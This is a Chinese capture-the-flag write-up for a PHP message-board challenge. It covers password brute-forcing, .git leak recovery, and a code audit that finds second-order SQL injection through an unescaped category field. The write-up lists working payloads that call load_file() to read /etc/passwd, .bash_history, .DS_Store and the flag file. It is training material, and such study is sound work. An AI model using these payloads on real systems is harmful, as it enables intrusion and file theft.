comment
前言
本文涉及知识点:git恢复 ,密码爆破,二次注入,代码审计,/etc/passwd文件,.bash_history文件,.DS_Store文件
做题
进去题目页面,只有个发帖,然后点击进去,跳转到login.php,fuzz发现这里没有sql注入漏洞,根据密码提示,猜测密码后三位可能是数字,写个脚本
flag=''
for i in range(0,10):
for j in range(0,10):
for k in range(0,10):
flag=str(i)+str(j)+str(k)
print(flag)
flag=''
得到3位数的字典,然后爆破,密码后三位是666,登录进去,然后f12,根据提示涉及到git,可能是git泄露,dirsearch扫一下,发现果然有git泄露,githack一下,得到源码,但是得到源码不完整,需要git恢复
如何判断是否可以恢复?
看是否有commit文件,如果没有,则需要恢复,像这题:
题目提示我们没有commit,即需要git恢复。
恢复命令
git log --reflog
git恢复之后,得到源码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
审计代码发现,write部分三个参数都进行函数过滤,comment部分对content,bo_id进行了函数过滤,但是没有对category过滤,直接取出category参数,然后进行insert插入,显然存在sql二次注入
payload
1',content=database(),/*
提交后在留言处输入*/#
我们再构造
1',content=user(),/*
root用户,那么用load_file()来查看敏感文件
先读取系统用户和用户的路径/etc/passwd
1',content=(select(load_file("/etc/passwd"))),/*
最后一行www用户,主目录为/home/www,使用的shell是bash
.bash_history文件:保存了当前用户使用过的历史命令
1',content=(select (load_file('/home/www/.bash_history'))),/*
顺序从上往下看,但unzip时会在当前目录下生成html目录,cp会将html目录复制到/var/www/下,然后将.DS_Store文件删除了
查了下
- .DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件
- 目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择
- 通过.DS_Store可以知道这个目录里面所有文件的清单。
查看.DS_Store文件,
1', content=(select (load_file('/tmp/html/.DS_Store'))),/*
不能完全显示,可能文件太大了,用hex编码显示试试
1', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
得到hex编码,再转换
读取flag所在的php文件
1',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
发现flag没用,是个假的,在/var/www/html下也有个复制过来的存放flag的文件
1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
拿到flag
comment.php
<?php
include "mysql.php";
$id = addslashes($_GET['id']);
$sql = "select * from board where id='$id'";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
$title = $row['title'];
$content = $row['content'];
?>
<?php
$sql = "select * from comment where bo_id='$id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
while($row= mysql_fetch_array($result)){
echo '<div class="form-group">';
echo '<label class="col-sm-2 control-label">留言</label>';
echo '<div class="col-sm-5">';
echo "<p>$row[content]</p>";
echo '</div>';
echo '</div>';
}
}
?>